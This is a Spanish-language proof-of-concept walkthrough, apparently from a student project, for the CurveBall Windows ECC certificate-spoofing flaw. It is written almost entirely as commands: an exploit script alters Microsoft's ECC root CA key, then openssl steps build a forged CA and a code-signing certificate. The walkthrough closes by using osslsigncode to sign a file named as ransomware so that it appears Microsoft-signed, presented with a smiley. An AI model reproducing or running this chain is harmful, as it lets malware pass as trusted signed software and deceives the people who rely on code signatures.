
Esta vulnerabilidad, conocida como CurveBall, se debe a una verificación no válida de los certificados que utilizan el algoritmo ECC. Windows intenta verificar certificados previamente verificados desde la caché de certificados y, al hacerlo, solo comprueba si las claves públicas de los certificados son idénticas y no verifica otros parámetros.
Para falsificar el certificado, establecemos explícitamente los parámetros como se muestra a continuación:
d' = 1
G' = Q
Si necesitas más información, puedes consultar la sección de detalles matemáticos del archivo final_report_milestone_IV.pdf.
En este PoC, usemos "Microsoft ECC Product Root Certificate Authority", que es el certificado de confianza de Microsoft hasta el año 2043.
Extraigamos la clave pública de la CA y modifiquémosla según la vulnerabilidad
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Generamos un nuevo certificado x509 basado en esta clave. Esta será nuestra propia CA falsificada.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="
Para ver el contenido de spoofed_ca.crt
openssl x509 -in spoofed_ca.crt -noout -text
Generamos una nueva clave. Esta clave puede ser de cualquier tipo que quieras. Se utilizará para crear un certificado de firma de código, que firmaremos con nuestra propia CA.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
A continuación, creamos una nueva solicitud de firma de certificado (CSR). Esta solicitud normalmente se envía a CA de confianza, pero como tenemos una falsificada, podemos firmarla nosotros mismos.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
Firmamos nuestra nueva CSR con nuestra CA falsificada y la clave de CA. Este certificado expirará en 2047, mientras que la CA real de confianza de Microsoft expirará en 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
Lo único que queda es empaquetar el certificado, su clave y la CA falsificada en un archivo PKCS12 para firmar ejecutables.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
Firmemos nuestro ejecutable con el archivo PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234
Ahora tenemos un ransomware completamente nuevo firmado por Microsoft :)